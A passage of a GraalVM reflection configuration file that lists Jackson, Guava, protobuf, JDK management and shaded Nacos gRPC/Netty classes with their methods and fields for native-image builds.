\"name\":\"com.fasterxml.jackson.databind.ObjectMapper\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.ext.Java7HandlersImpl\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.ext.Java7SupportImpl\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.google.common.util.concurrent.AbstractFuture\",\n  \"fields\":[\n    {\"name\":\"listeners\"}, \n    {\"name\":\"value\"}, \n    {\"name\":\"waiters\"}\n  ]\n},\n{\n  \"name\":\"com.google.common.util.concurrent.AbstractFuture$Waiter\",\n  \"fields\":[\n    {\"name\":\"next\"}, \n    {\"name\":\"thread\"}\n  ]\n},\n{\n  \"name\":\"com.google.protobuf.ExtensionRegistry\",\n  \"methods\":[{\"name\":\"getEmptyRegistry\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.intellij.junit4.JUnit4IdeaTestRunner\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.intellij.rt.execution.application.AppMainV2$Agent\",\n  \"methods\":[{\"name\":\"premain\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.instrument.Instrumentation\"] }]\n},\n{\n  \"name\":\"com.sun.crypto.provider.HmacSHA1\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.sun.jndi.dns.DnsContextFactory\"\n},\n{\n  \"name\":\"com.sun.management.GarbageCollectorMXBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.sun.management.GcInfo\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.sun.management.HotSpotDiagnosticMXBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.sun.management.OperatingSystemMXBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.sun.management.ThreadMXBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.sun.management.VMOption\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.sun.management.internal.GarbageCollectorExtImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"com.sun.management.internal.HotSpotDiagnostic\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"com.sun.management.internal.HotSpotThreadImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"com.sun.management.internal.OperatingSystemImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"double\",\n  \"queryAllDeclaredMethods\":true\n},\n  {\n    \"name\":\"com.alibaba.nacos.shaded.com.google.common.util.concurrent.AbstractFuture\",\n    \"fields\":[\n      {\"name\":\"listeners\"},\n      {\"name\":\"value\"},\n      {\"name\":\"waiters\"}\n    ]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.com.google.common.util.concurrent.AbstractFuture$Waiter\",\n    \"fields\":[\n      {\"name\":\"next\"},\n      {\"name\":\"thread\"}\n    ]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.com.google.protobuf.Any\",\n    \"methods\":[\n      {\"name\":\"getTypeUrl\",\"parameterTypes\":[] },\n      {\"name\":\"getTypeUrlBytes\",\"parameterTypes\":[] },\n      {\"name\":\"getValue\",\"parameterTypes\":[] },\n      {\"name\":\"newBuilder\",\"parameterTypes\":[] }\n    ]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.com.google.protobuf.Any$Builder\",\n    \"methods\":[\n      {\"name\":\"clearTypeUrl\",\"parameterTypes\":[] },\n      {\"name\":\"clearValue\",\"parameterTypes\":[] },\n      {\"name\":\"getTypeUrl\",\"parameterTypes\":[] },\n      {\"name\":\"getTypeUrlBytes\",\"parameterTypes\":[] },\n      {\"name\":\"getValue\",\"parameterTypes\":[] },\n      {\"name\":\"setTypeUrl\",\"parameterTypes\":[\"java.lang.String\"] },\n      {\"name\":\"setTypeUrlBytes\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.com.google.protobuf.ByteString\"] },\n      {\"name\":\"setValue\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.com.google.protobuf.ByteString\"] }\n    ]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.com.google.protobuf.ExtensionRegistry\",\n    \"methods\":[{\"name\":\"getEmptyRegistry\",\"parameterTypes\":[] }]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.internal.DnsNameResolverProvider\"\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.internal.PickFirstLoadBalancerProvider\"\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.grpc.netty.AbstractNettyHandler\",\n    \"methods\":[\n      {\"name\":\"channelActive\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"exceptionCaught\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Throwable\"] }\n    ]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler\",\n    \"methods\":[\n      {\"name\":\"channelInactive\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"close\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] },\n      {\"name\":\"write\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }\n    ]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.grpc.netty.ProtocolNegotiators$GrpcNegotiationHandler\",\n    \"methods\":[{\"name\":\"userEventTriggered\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.grpc.netty.ProtocolNegotiators$ProtocolNegotiationHandler\",\n    \"methods\":[{\"name\":\"userEventTriggered\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.grpc.netty.ProtocolNegotiators$WaitUntilActiveHandler\",\n    \"methods\":[{\"name\":\"channelActive\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.grpc.netty.WriteBufferingAndExceptionHandler\",\n    \"methods\":[\n      {\"name\":\"channelInactive\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"channelRead\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] },\n      {\"name\":\"close\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] },\n      {\"name\":\"connect\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"java.net.SocketAddress\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] },\n      {\"name\":\"exceptionCaught\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Throwable\"] },\n      {\"name\":\"flush\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"write\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }\n    ]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.buffer.AbstractByteBufAllocator\",\n    \"queryAllDeclaredMethods\":true\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.buffer.AbstractReferenceCountedByteBuf\",\n    \"fields\":[{\"name\":\"refCnt\"}]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelDuplexHandler\",\n    \"methods\":[\n      {\"name\":\"bind\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] },\n      {\"name\":\"close\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] },\n      {\"name\":\"connect\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"java.net.SocketAddress\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] },\n      {\"name\":\"deregister\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] },\n      {\"name\":\"disconnect\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] },\n      {\"name\":\"flush\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"read\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"write\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }\n    ]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelInboundHandlerAdapter\",\n    \"methods\":[\n      {\"name\":\"channelActive\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"channelInactive\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"channelRead\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] },\n      {\"name\":\"channelReadComplete\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"channelRegistered\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"channelUnregistered\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"channelWritabilityChanged\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"exceptionCaught\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Throwable\"] },\n      {\"name\":\"userEventTriggered\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }\n    ]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.DefaultChannelPipeline$HeadContext\",\n    \"methods\":[\n      {\"name\":\"bind\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] },\n      {\"name\":\"channelActive\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"channelInactive\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"channelRead\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] },\n      {\"name\":\"channelReadComplete\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"channelRegistered\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"channelUnregistered\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"channelWritabilityChanged\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"close\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] },\n      {\"name\":\"connect\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"java.net.SocketAddress\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] },\n      {\"name\":\"deregister\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] },\n      {\"name\":\"disconnect\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] },\n      {\"name\":\"exceptionCaught\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Throwable\"] },\n      {\"name\":\"flush\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"read\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"userEventTriggered\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] },\n      {\"name\":\"write\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }\n    ]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.DefaultChannelPipeline$TailContext\",\n    \"methods\":[\n      {\"name\":\"channelActive\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"channelInactive\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"channelRead\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] },\n      {\"name\":\"channelReadComplete\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"channelRegistered\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"channelUnregistered\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"channelWritabilityChanged\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"exceptionCaught\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Throwable\"] },\n      {\"name\":\"userEventTriggered\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }\n    ]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.socket.nio.NioSocketChannel\",\n    \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.handler.codec.ByteToMessageDecoder\",\n    \"methods\":[\n      {\"name\":\"channelRead\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] },\n      {\"name\":\"userEventTriggered\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }\n    ]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.handler.codec.http2.Http2ConnectionHandler\",\n    \"methods\":[\n      {\"name\":\"bind\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] },\n      {\"name\":\"channelReadComplete\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"channelWritabilityChanged\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"connect\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"java.net.SocketAddress\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] },\n      {\"name\":\"deregister\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] },\n      {\"name\":\"disconnect\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] },\n      {\"name\":\"flush\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] },\n      {\"name\":\"read\",\"parameterTypes\":[\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }\n    ]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.util.ReferenceCountUtil\",\n    \"queryAllDeclaredMethods\":true\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.util.internal.shaded.org.jctools.queues.BaseMpscLinkedArrayQueueColdProducerFields\",\n    \"fields\":[{\"name\":\"producerLimit\"}]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.util.internal.shaded.org.jctools.queues.BaseMpscLinkedArrayQueueConsumerFields\",\n    \"fields\":[{\"name\":\"consumerIndex\"}]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.util.internal.shaded.org.jctools.queues.BaseMpscLinkedArrayQueueProducerFields\",\n    \"fields\":[{\"name\":\"producerIndex\"}]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.util.internal.shaded.org.jctools.queues.MpscArrayQueueConsumerIndexField\",\n    \"fields\":[{\"name\":\"consumerIndex\"}]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.util.internal.shaded.org.jctools.queues.MpscArrayQueueProducerIndexField\",\n    \"fields\":[{\"name\":\"producerIndex\"}]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.util.internal.shaded.org.jctools.queues.MpscArrayQueueProducerLimitField\",\n    \"fields\":[{\"name\":\"producerLimit\"}]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.util.SecretRoundRobinLoadBalancerProvider$Provider\"\n  },\n{\n  \"name\":\"io.grpc.internal.DnsNameResolverProvider\"\n},\n{\n  \"name\":\"io.grpc.internal.JndiResourceResolverFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"io.grpc.internal.PickFirstLoadBalancerProvider\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.grpc.netty.AbstractNettyHandler\",\n  \"methods\":[\n    {\"name\":\"channelActive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"exceptionCaught\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Throwable\"] }\n  ]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler\",\n  \"methods\":[\n    {\"name\":\"channelInactive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"close\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, \n    {\"name\":\"write\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }\n  ]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.grpc.netty.ProtocolNegotiators$GrpcNegotiationHandler\",\n  \"methods\":[{\"name\":\"userEventTriggered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.grpc.netty.ProtocolNegotiators$ProtocolNegotiationHandler\",\n  \"methods\":[{\"name\":\"userEventTriggered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.grpc.netty.ProtocolNegotiators$WaitUntilActiveHandler\",\n  \"methods\":[{\"name\":\"channelActive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.grpc.netty.WriteBufferingAndExceptionHandler\",\n  \"methods\":[\n    {\"name\":\"channelInactive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"channelRead\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }, \n    {\"name\":\"close\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, \n    {\"name\":\"connect\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"java.net.SocketAddress\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, \n    {\"name\":\"exceptionCaught\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Throwable\"] }, \n    {\"name\":\"flush\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"write\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }\n  ]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.buffer.AbstractByteBufAllocator\",\n  \"queryAllDeclaredMethods\":true\n},\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.channel.epoll.Epoll\"\n  },\n  {\n    \"name\":\"com.alibaba.nacos.shaded.io.grpc.netty.shaded.io.netty.util.AbstractReferenceCounted\"\n  },\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.buffer.AbstractReferenceCountedByteBuf\",\n  \"fields\":[{\"name\":\"refCnt\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.ChannelDuplexHandler\",\n  \"methods\":[\n    {\"name\":\"bind\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, \n    {\"name\":\"close\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, \n    {\"name\":\"connect\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.net.SocketAddress\",\"java.net.SocketAddress\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, \n    {\"name\":\"deregister\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, \n    {\"name\":\"disconnect\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }, \n    {\"name\":\"flush\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"read\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"write\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\",\"io.grpc.netty.shaded.io.netty.channel.ChannelPromise\"] }\n  ]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.ChannelInboundHandlerAdapter\",\n  \"methods\":[\n    {\"name\":\"channelActive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"channelInactive\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"channelRead\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\",\"java.lang.Object\"] }, \n    {\"name\":\"channelReadComplete\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"channelRegistered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"channelUnregistered\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    {\"name\":\"channelWritabilityChanged\",\"parameterTypes\":[\"io.grpc.netty.shaded.io.netty.channel.ChannelHandlerContext\"] }, \n    